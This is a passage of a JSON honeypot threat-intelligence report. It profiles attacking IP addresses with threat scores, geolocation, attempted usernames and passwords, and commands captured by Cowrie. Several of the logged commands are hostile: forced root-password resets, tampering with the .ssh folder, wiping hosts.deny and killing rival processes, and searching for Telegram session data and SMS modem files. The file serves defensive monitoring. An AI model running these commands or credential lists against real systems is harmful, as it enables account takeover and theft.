        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 126,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T02:27:47.199000+00:00",
        "last_seen_30d": "2026-03-06T03:09:20.394000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 103,
        "Suricata": 23
      }
    },
    "123.253.147.154": {
      "attack_count": 103,
      "first_seen": "2026-03-05T00:37:38.240Z",
      "last_seen": "2026-03-05T01:04:31.461Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "!@#123qweasd",
        "1234561",
        "3245gs5662d34",
        "345gs5662d34",
        "Admin1@3",
        "Admin@2024",
        "p@$$W0rd",
        "wangtao",
        "zaq1@WSXcde3"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:X2XzWLtAyFrG\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Bangladesh",
      "country_code": "BD",
      "city": null,
      "asn": 38203,
      "as_org": "ADN Telecom Ltd.",
      "threat_score": 4.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 125,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T00:37:38.240000+00:00",
        "last_seen_30d": "2026-03-05T01:05:36.409000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 103,
        "Suricata": 22
      }
    },
    "209.38.88.50": {
      "attack_count": 100,
      "first_seen": "2026-03-09T21:32:02.983Z",
      "last_seen": "2026-03-09T21:54:59.340Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "backup"
      ],
      "passwords_attempted": [
        "123qwe",
        "123qwerty",
        "4321",
        "21",
        "321",
        "54321",
        "654321",
        "Pa$w0rd",
        "Pa$word",
        "Password",
        "admin12",
        "pa$w0rd",
        "passw0rd",
        "qwerty",
        "wasd"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 9.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 144,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T21:32:02.983000+00:00",
        "last_seen_30d": "2026-03-09T21:56:03.833000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 100,
        "Suricata": 44
      }
    },
    "115.247.214.210": {
      "attack_count": 99,
      "first_seen": "2026-03-05T22:12:41.339Z",
      "last_seen": "2026-03-05T22:33:51.422Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "elastic",
        "345gs5662d34",
        "chrome",
        "linode",
        "lorenzo",
        "sonarqube",
        "toro"
      ],
      "passwords_attempted": [
        "password",
        "1234",
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "Chrome123!",
        "Elastic123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"Elastic123\\nhgHVV4IyxWoj\\nhgHVV4IyxWoj\\n\"|passwd",
        "echo -e \"Elastic123\\nhgHVV4IyxWoj\\nhgHVV4IyxWoj\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 55836,
      "as_org": "Reliance Jio Infocomm Limited",
      "threat_score": 4.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.8,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 120,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T00:00:09.969000+00:00",
        "last_seen_30d": "2026-03-05T22:34:53.439000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 99,
        "Suricata": 21
      }
    },
    "124.94.185.8": {
      "attack_count": 94,
      "first_seen": "2026-03-26T04:41:17.688Z",
      "last_seen": "2026-03-26T04:46:58.355Z",
      "sessions": 47,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 28.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 142,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T04:41:17.688000+00:00",
        "last_seen_30d": "2026-03-26T04:48:02.705000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 94,
        "Suricata": 48
      }
    },
    "188.166.175.87": {
      "attack_count": 75,
      "first_seen": "2026-03-15T14:07:26.162Z",
      "last_seen": "2026-03-15T14:23:51.881Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "root",
        "oracle",
        "postgres",
        "test1",
        "test2",
        "test3"
      ],
      "passwords_attempted": [
        "111111",
        "123",
        "321",
        "oracle",
        "pass",
        "password",
        "postgres",
        "qwerty",
        "root123",
        "root321",
        "test1",
        "test2",
        "test3"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Slough",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 15.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 108,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T14:07:26.162000+00:00",
        "last_seen_30d": "2026-03-15T14:25:01.657000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 75,
        "Suricata": 33
      }
    },
    "43.155.40.91": {
      "attack_count": 68,
      "first_seen": "2026-03-15T17:56:47.714Z",
      "last_seen": "2026-03-15T18:16:11.460Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "rstudio",
        "345gs5662d34",
        "administrador",
        "csserver",
        "db2inst",
        "git",
        "marek",
        "tom",
        "toro",
        "ts3bot",
        "vastbase"
      ],
      "passwords_attempted": [
        "password",
        "123",
        "12345",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "Tom123!",
        "toropass"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 15.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 19.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 96,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T17:56:47.714000+00:00",
        "last_seen_30d": "2026-03-15T18:17:20.267000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 68,
        "Suricata": 28
      }
    },
    "117.50.192.225": {
      "attack_count": 40,
      "first_seen": "2026-03-03T06:54:02.280Z",
      "last_seen": "2026-03-03T07:02:41.445Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4808,
      "as_org": "China Unicom Beijing Province Network",
      "threat_score": 3.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 70,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T06:54:02.280000+00:00",
        "last_seen_30d": "2026-03-03T07:13:14.634000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 40,
        "Suricata": 30
      }
    },
    "218.157.205.238": {
      "attack_count": 34,
      "first_seen": "2026-03-09T04:07:22.284Z",
      "last_seen": "2026-03-09T04:08:39.594Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "admin",
        "root"
      ],
      "commands_executed": [
        "/ip cloud print",
        "cat /proc/cpuinfo",
        "echo Hi | cat -n",
        "ifconfig",
        "locate D877F783D5D3EF8Cs",
        "ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*",
        "ps -ef | grep '[Mm]iner'",
        "ps | grep '[Mm]iner'",
        "uname -a"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Andong",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 7.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 38,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T04:07:22.284000+00:00",
        "last_seen_30d": "2026-03-09T04:09:46.205000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 34,
        "Suricata": 4
      }
    },
    "172.104.93.159": {
      "attack_count": 26,
      "first_seen": "2026-03-02T17:57:10.617Z",
      "last_seen": "2026-03-29T03:34:16.764Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Tokyo",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 49.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 17.2,
        "persistence": 23.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 52,
        "days_active_30d": 28,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T17:57:10.617000+00:00",
        "last_seen_30d": "2026-03-29T03:35:42.689000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 26,
        "Suricata": 26
      }
    },
    "77.90.185.41": {
      "attack_count": 20,
      "first_seen": "2026-03-06T02:39:58.113Z",
      "last_seen": "2026-03-06T20:43:07.754Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "kelltech"
      ],
      "passwords_attempted": [
        "kelltech!2026",
        "123@kelltech",
        "Kelltech#123"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 213790,
      "as_org": "Limited Network LTD",
      "threat_score": 6.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.7,
        "persistence": 3.3,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 37,
        "days_active_30d": 4,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-03T12:04:10.745000+00:00",
        "last_seen_30d": "2026-03-06T20:44:17.695000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 16,
        "Heralding": 1
      }
    },
    "71.6.134.234": {
      "attack_count": 13,
      "first_seen": "2026-03-31T16:19:48.798Z",
      "last_seen": "2026-03-31T16:51:01.913Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        "Accept-Encoding: gzip",
        ""
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 10439,
      "as_org": "CariNet, Inc.",
      "threat_score": 97.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 27.0,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 500,
        "days_active_30d": 30,
        "ports_targeted_30d": 59,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-03-02T02:18:20.949000+00:00",
        "last_seen_30d": "2026-03-31T16:52:09.364000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 363,
        "Honeytrap": 103,
        "ConPot": 13,
        "Cowrie": 13,
        "Dionaea": 4,
        "ElasticPot": 2,
        "Tanner": 2
      }
    },
    "172.99.61.198": {
      "attack_count": 12,
      "first_seen": "2026-03-04T13:27:12.178Z",
      "last_seen": "2026-03-18T12:33:30.204Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Tampa",
      "asn": 5650,
      "as_org": "Frontier Communications of America, Inc.",
      "threat_score": 46.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 24.0,
        "persistence": 12.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 254,
        "days_active_30d": 15,
        "ports_targeted_30d": 56,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-03-04T13:27:12.178000+00:00",
        "last_seen_30d": "2026-03-18T12:38:31.617000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Suricata": 167,
        "Honeytrap": 42,
        "Dionaea": 21,
        "Cowrie": 12,
        "Miniprint": 9,
        "Sentrypeer": 3
      }
    },
    "198.235.24.108": {
      "attack_count": 12,
      "first_seen": "2026-03-02T22:45:26.255Z",
      "last_seen": "2026-03-24T04:08:54.660Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 70.5,
      "threat_level": "high",
      "score_components": {
        "frequency": 20.8,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 121,
        "days_active_30d": 27,
        "ports_targeted_30d": 29,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-02T22:41:55.009000+00:00",
        "last_seen_30d": "2026-03-28T11:06:51.614000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 77,
        "Honeytrap": 32,
        "Cowrie": 12
      }
    },
    "172.94.9.66": {
      "attack_count": 10,
      "first_seen": "2026-03-05T22:35:53.735Z",
      "last_seen": "2026-03-06T04:21:16.418Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "!123kelltech",
        "Kelltech#2024"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 213790,
      "as_org": "Limited Network LTD",
      "threat_score": 15.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.0,
        "persistence": 6.7,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 397,
        "days_active_30d": 8,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-03T09:44:17.892000+00:00",
        "last_seen_30d": "2026-03-10T15:35:43.342000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Suricata": 311,
        "Heralding": 76,
        "Cowrie": 10
      }
    },
    "104.248.158.38": {
      "attack_count": 8,
      "first_seen": "2026-03-12T18:37:32.580Z",
      "last_seen": "2026-03-30T08:15:39.432Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 38.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.5,
        "persistence": 15.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 19,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T18:37:32.580000+00:00",
        "last_seen_30d": "2026-03-30T08:16:45.532000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "119.176.160.251": {
      "attack_count": 8,
      "first_seen": "2026-03-29T22:04:15.870Z",
      "last_seen": "2026-03-29T22:04:58.758Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 22.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-29T22:04:15.870000+00:00",
        "last_seen_30d": "2026-03-29T22:06:06.343000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 5
      }
    },
    "64.62.156.24": {
      "attack_count": 8,
      "first_seen": "2026-03-06T06:56:00.024Z",
      "last_seen": "2026-03-20T08:39:29.373Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:139.0) Gecko/20100101 Firefox/139.0"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 95.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 25.5,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 354,
        "days_active_30d": 30,
        "ports_targeted_30d": 91,
        "honeypots_triggered_30d": 10,
        "first_seen_30d": "2026-03-02T02:07:03.808000+00:00",
        "last_seen_30d": "2026-03-31T14:22:29.577000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 227,
        "Honeytrap": 88,
        "Redishoneypot": 11,
        "Cowrie": 8,
        "H0neytr4p": 8,
        "ConPot": 4,
        "Dionaea": 3,
        "Honeyaml": 3,
        "ElasticPot": 1,
        "Ipphoney": 1
      }
    },
    "20.65.194.142": {
      "attack_count": 7,
      "first_seen": "2026-03-06T11:09:50.908Z",
      "last_seen": "2026-03-06T11:10:00.967Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Antonio",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 6.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.6,
        "persistence": 3.3,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 23,
        "days_active_30d": 4,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-03T10:12:52.967000+00:00",
        "last_seen_30d": "2026-03-06T11:11:04.832000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Suricata": 14,
        "Cowrie": 7,
        "Honeytrap": 2
      }
    },
    "66.132.224.236": {
      "attack_count": 6,
      "first_seen": "2026-03-31T21:35:18.979Z",
      "last_seen": "2026-03-31T21:36:02.781Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 43.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 13.4,
        "persistence": 3.3,
        "diversity": 12,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 22,
        "days_active_30d": 4,
        "ports_targeted_30d": 6,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-28T03:19:53+00:00",
        "last_seen_30d": "2026-03-31T21:37:10.282000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 10,
        "Cowrie": 6,
        "Honeytrap": 6
      }
    },
    "125.66.125.199": {
      "attack_count": 5,
      "first_seen": "2026-03-20T14:21:43.315Z",
      "last_seen": "2026-03-20T14:21:50.389Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 14.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T14:21:43.315000+00:00",
        "last_seen_30d": "2026-03-20T14:22:58.749000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 5
      }
    },
    "140.246.70.45": {
      "attack_count": 5,
      "first_seen": "2026-03-09T02:47:30.745Z",
      "last_seen": "2026-03-09T02:49:30.747Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "pavel"
      ],
      "passwords_attempted": [
        "123"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 58519,
      "as_org": "Cloud Computing Corporation",
      "threat_score": 5.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T02:47:30.745000+00:00",
        "last_seen_30d": "2026-03-09T02:59:38.936000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "38.188.160.250": {
      "attack_count": 5,
      "first_seen": "2026-03-10T23:32:46.051Z",
      "last_seen": "2026-03-10T23:32:48.404Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "291086"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
